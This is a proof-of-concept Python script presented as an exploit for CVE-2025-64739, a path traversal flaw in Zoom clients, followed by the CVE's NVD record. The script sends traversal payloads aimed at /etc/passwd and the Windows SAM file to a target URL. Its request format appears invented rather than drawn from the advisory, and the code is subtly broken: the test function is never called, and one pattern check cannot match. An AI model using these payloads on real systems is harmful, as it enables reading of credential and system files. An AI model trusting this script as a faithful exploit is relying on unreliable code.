CVE-2025-64739

# CVE-2025-64739 PoC - Zoom Client Path Traversal # This PoC demonstrates the path traversal vulnerability in Zoom Clients # Note: This is for educational and authorized testing purposes only import requests import json def test_zoom_path_traversal(target_url): """ Test for CVE-2025-64739: Path traversal in Zoom Clients """ # Malicious payloads that may trigger path traversal payloads = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", "....//....//....//etc/passwd" ] results = [] for payload in payloads: try: # Simulate crafted request to Zoom service headers = { 'User-Agent': 'ZoomClient/5.0', 'Content-Type': 'application/json' } data = { 'file_path': payload, 'action': 'load_file' } response = requests.post( target_url, json=data, headers=headers, timeout=10 ) results.append({ 'payload': payload, 'status_code': response.status_code, 'response_length': len(response.content), 'sensitive_detected': check_sensitive_data(response.text) }) except Exception as e: results.append({ 'payload': payload, 'error': str(e) }) return results def check_sensitive_data(response_text): """Check if response contains sensitive information""" sensitive_patterns = ['root:', 'password', '[boot loader]', 'Windows'] return any(pattern in response_text.lower() for pattern in sensitive_patterns) if __name__ == "__main__": print("CVE-2025-64739 Zoom Path Traversal PoC") print("=" * 50) print("Warning: Only use on systems you have permission to test")

{"cve": {"id": "CVE-2025-64739", "sourceIdentifier": "[email protected]", "published": "2025-11-13T15:15:53.523", "lastModified": "2026-01-13T20:46:49.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "External control of file name or path in certain Zoom Clients may allow an unauthenticated user to conduct a disclosure of information via network access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:linux:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "81E0F90E-35B6-464F-9BE3-164BA24D2009"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:macos:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "6E806B61-C0EF-4A0E-9B7A-F5D27D173B32"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "851C9061-1A47-4521-9FD9-9933A5A7509A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "D2D51ECB-5A89-4C78-A30E-7B454D63B24F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms:*:*:*:*:*:macos:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "8B3EA329-4800-4C0F-87AC-75C98EA4BC21"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "FFBB7286-F0EF-4F07-B5CD-EF140843D636"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms_controller:*:*:*:*:*:linux:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "38D8F8A2-A530-4A22-99D2-1C385CDBC5F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms_controller:*:*:*:*:*:macos:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "5129314C-E9A6-48A5-973D-4293E5362582"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:rooms_controller:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "5766D499-72EC-47FB-9EA0-F8239E8CD971"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:linux:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "08F19DBA-97B0-4FEB-BE40-35C58E25212E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:macos:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "E77D9B96-3C18-49F1-9119-30A154D6243D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "366D7D39-E1C5-48C0-8F12-F4860FA5BD44"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.3.14", "matchCriteriaId": "5D61DBA7-2AFE-47E4-8A7E-3C8EE6696BF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionStartIncluding": "6.4.10", "versionEndExcluding": "6.4.12", "matchCriteriaId": "A57A2EE0-D00B-4266-B152-2439B8ED774A"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25041", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}